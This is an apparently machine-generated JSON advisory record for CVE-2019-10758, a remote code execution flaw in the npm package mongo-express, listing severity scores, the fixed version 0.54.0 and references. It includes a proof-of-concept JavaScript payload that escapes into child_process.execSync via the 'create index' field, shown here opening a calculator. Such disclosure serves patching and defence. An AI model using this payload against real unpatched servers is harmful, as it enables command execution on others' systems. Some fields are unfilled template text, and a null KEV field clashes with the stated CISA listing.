{"id":"CVE-2019-10758","aliases":["GHSA-h47j-hc6x-h3qq","SNYK-JS-MONGOEXPRESS-473215"],"url":"https://o3.security/vulnerability/CVE-2019-10758","summary":"Remote Code Execution Vulnerability in NPM mongo-express","details":"### Impact\n\nRemote code execution on the host machine by any authenticated user.\n\n### Proof Of Concept\n\nLaunching mongo-express on a Mac, pasting the following into the \"create index\" field will pop open the Mac calculator:\n\n```javascript\nthis.constructor.constructor(\"return process\")().mainModule.require('child_process').execSync('/Applications/Calculator.app/Contents/MacOS/Calculator')\n```\n\n### Patches\nUsers should upgrade to version `0.54.0`\n\n### Workarounds\n_Is there a way for users to fix or remediate the vulnerability without upgrading?_\n\n### For more information\nIf you have any questions or comments about this advisory:\n* Open an issue in [example link to repo](http://example.com)\n* Email us at [example email address](mailto:example@example.com)\n\n#### Thanks\n\n@JLLeitschuh for finding and reporting this vulnerability\n\nThis vulnerability has been [exploited](https://www.cisa.gov/known-exploited-vulnerabilities-catalog?field_cve=CVE-2019-10758) in the wild.","published":"2019-12-24T22:15:11.183Z","modified":"2026-10-24T10:30:16.676719303Z","cvss":{"score":9.9,"severity":"CRITICAL","vector":"CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H"},"epss":{"score":0.84726,"percentile":0.99693,"asOf":"2026-09-15"},"cisaKev":null,"exploitsKnown":7,"affectedPackages":[{"ecosystem":"npm","name":"mongo-express","fixedVersion":"0.54.0"}],"fix":{"url":"https://github.com/mongo-express/mongo-express/pull/522","label":"mongo-express/mongo-express#522"},"references":[{"type":"WEB","url":"https://www.cisa.gov/known-exploited-vulnerabilities-catalog?field_cve=CVE-2019-10758"},{"type":"EVIDENCE","url":"https://snyk.io/vuln/SNYK-JS-MONGOEXPRESS-473215"},{"type":"WEB","url":"https://github.com/mongo-express/mongo-express/security/advisories/GHSA-h47j-hc6x-h3qq"},{"type":"ADVISORY","url":"https://nvd.nist.gov/vuln/detail/CVE-2019-10758"},{"type":"WEB","url":"https://github.com/mongo-express/mongo-express/pull/522"},{"type":"WEB","url":"https://github.com/mongo-express/mongo-express/commit/7d365141deadbd38fa961cd835ce68eab5731494"},{"type":"WEB","url":"https://github.com/mongo-express/mongo-express/commit/d8c9bda46a204ecba1d35558452685cd0674e6f2"},{"type":"PACKAGE","url":"https://github.com/mongo-express/mongo-express"},{"type":"WEB","url":"https://github.com/mongo-express/mongo-express/blob/ea02b364d43f179f191fc91fb9962efdb0843a8d/lib/bson.js#L60"}],"provenance":{"sources":["OSV.dev","FIRST.org (EPSS)"],"lastVerified":"2026-10-24T10:30:16.676719303Z"}}